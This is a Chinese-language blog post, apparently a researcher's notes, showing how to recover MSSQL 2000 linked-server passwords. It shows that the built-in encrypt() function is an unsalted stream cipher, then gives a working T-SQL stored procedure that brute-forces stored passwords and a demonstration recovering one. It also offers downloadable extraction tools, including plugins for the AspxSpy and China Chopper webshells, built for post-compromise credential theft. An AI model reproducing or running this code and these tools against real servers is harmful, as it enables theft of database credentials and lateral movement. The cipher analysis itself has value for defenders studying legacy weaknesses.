之前netspi提供的链接数据库破解思路不适用于mssql 2000,于是看了看mssql 2000的加密方式,幸好人品足够过关,找到了一个不算太好的破解方式,做个笔记。
测试环境为2003sp2+mssql 2000,版本号是8.0.0.194,其他版本有待测试(应该不会有问题)。
破解思路:
首先绝大部分的sql内置存储过程是可以反编译的:在对象浏览器中定位到存储过程,然后选择编写对象脚本->创建即可看到源码。设置链接数据库密码的存储过程是sp_addlinkedsrvlogin,于是反编译这个存储过程,可以看到最后的一次插入操作:
其中调用了encrypt函数将密码加密,并转换为varbinary(256)后保存至sysxlogins表内。
直接在查询中调用此函数会返回原字符串的Unicode编码表现形式,必须在存储过程中使用才能得到真正的加密结果。于是使用以下代码对字符串1-123456789分别进行加密,测试其是否有规律可循:
--添加链接服务器 exec sp_addlinkedserver @server= 'server' --直接查询将返回原字符串的Unicode编码表现形式 print encrypt('123456789') print '------------' --抑制插入操作的输出 set nocount on declare @i int,@s sysname set @i=1 set @s='' while @i<10 begin set @s=@s+cast(@i as varchar) exec sp_addlinkedsrvlogin 'server',false,NULL,'sa',@s declare @pass varbinary(256) --最后一条数据对应最后添加的链接服务器数据 select top 1 @pass=[password] from sysxlogins order by srvid desc print @s+replicate(' ',10-len(@s))+'|'+dbo.fn_varbintohexstr(@pass) set @i=@i+1 end set nocount off go --添加一个自定义存储过程调用此函数 create procedure zcg_test_encrypt @pwd sysname =NULL as begin print @pwd+replicate(' ',10-len(@pwd))+'|'+dbo.fn_varbintohexstr(encrypt(@pwd)) end go --调用 print '------------' declare @i int,@s sysname set @i=1 set @s='' while @i<10 begin set @s=@s+cast(@i as varchar) exec zcg_test_encrypt @s set @i=@i+1 end
可以得到以下结果(不同机器上可能会有所不同):
0x310032003300340035003600370038003900 ------------ 1 |0x4b89 12 |0x4b898314 123 |0x4b8983144844 1234 |0x4b8983144844fad9 12345 |0x4b8983144844fad9d74e 123456 |0x4b8983144844fad9d74e90a3 1234567 |0x4b8983144844fad9d74e90a3c261 12345678 |0x4b8983144844fad9d74e90a3c2610c52 123456789 |0x4b8983144844fad9d74e90a3c2610c5211ca ------------ 1 |0x4b89 12 |0x4b898314 123 |0x4b8983144844 1234 |0x4b8983144844fad9 12345 |0x4b8983144844fad9d74e 123456 |0x4b8983144844fad9d74e90a3 1234567 |0x4b8983144844fad9d74e90a3c261 12345678 |0x4b8983144844fad9d74e90a3c2610c52 123456789 |0x4b8983144844fad9d74e90a3c2610c5211ca
可以看到:密文长度与明文长度成正比,每个逻辑字符加密后变为两个字节,后续字符不影响之前字符的加密结果,是典型的流式密码加密。
多次执行以上语句,发现返回值完全相同,证明没有随机盐的存在。
开始以为是RC4,但对加密API下断点无果。鉴于其是流式密码,于是想到暴力破解:
枚举所有可能的字符依次进行加密 如果结果与密文的前几位相同则认为找到了对应字符 在其后添加新字符,重复以上过程,直到找到所有字符
sp_addlinkedsrvlogin存储过程的rmtpassword参数是nvarchar(128),其单个字符取值范围是0-65535,根据以上思路编写存储过程:
create procedure zcg_decrypt @enc varbinary(256) =NULL,@pwd varchar(256) output as begin declare @len int declare @i int declare @c int if @enc is null return(0) set @len= datalength(@enc) set @i=1 set @pwd='' while @i*2<=@len begin set @c=0 begin while @c<65536 begin if encrypt(@pwd+nchar(@c))=substring(@enc,1,@i*2) begin set @pwd=@pwd+nchar(@c) set @c=99999 end set @c=@c+1 end if @c=65536 begin set @pwd='err at index:'+cast(@i as varchar(256))+',part of password is: '+@pwd return 0 end end set @i=@i+1 end return 1 end
最坏的情况下只需要65535*datalength(hash)/2次函数调用就能得到正确的结果。而实际中密码多数情况下都是字母数字或符号,在这种情况下速度将大大提高。
验证:
--添加一个包含各种字符的超级变态密码 set nocount on exec sp_addlinkedsrvlogin 'server',false,NULL,'sa','aasdc密**码#$@qCVTRW%密码(by密码9asyxd密码b2rxXD密码ZSDX密码b' set nocount off --尝试进行解密 declare @enc varbinary(256),@pwd sysname select top 1 @enc=[password] from sysxlogins order by srvid desc exec zcg_decrypt @enc,@pwd output print @pwd
执行此查询,可见成功打印出了原密码,耗时仅两秒左右。
工具及附件:
lspwd2k.exe为一键获取工具,lspwd2k.cs为源码,编译命令行:
csc lspwd2k.cs
此工具支持传入参数,第一个参数为连接字符串(可选)。如果不提供参数,则使用默认的windows认证。
在asp.net中利用的工具以AspxSpy插件形式提供,GetMSSQL2kLinkedServerPasswordPlugin.cs为源码,编译命令行:
csc /t:library GetMSSQL2kLinkedServerPasswordPlugin.cs
GetMSSQL2kLinkedServerPasswordPlugin.dll和GetMSSQL2kLinkedServerPasswordPlugin.dll.Deflated分别为未压缩和压缩后的插件。插件信息如下:
TypeName:Zcg.Test.AspxSpyPlugins.GetMSSQL2kLinkedServerPasswordPlugin MethodName:Run HTML Result:true Params:连接字符串(可选),如果不提供则使用默认的windows认证。
输出:数据库中所有链接数据库信息。
以上工具均基于.net 2.0编写,鉴于mssql 2000属于古董级的程序,使用此数据库的服务器很有可能未安装.net,在此额外提供vbs版本、asp版本与菜刀插件。
lspwd2k.asp为asp版本,使用前请修改第三行的连接字符串。
lspwd2k.ccc为菜刀插件,使用前请修改第一行的连接字符串。
lspwd2k.vbs为vbs版本,同样支持将连接字符串作为参数,注意要用cscript执行。
由于所有操作都是数据库查询,所以只需数据库的sa权限即可利用以上工具,不要求必须在数据库服务器本机上执行。
调用结果如图:
下载地址: mssql2k_linkedserver_pwd.zip
百度网盘:http://pan.baidu.com/s/1c0ixDw0
解压密码见注释。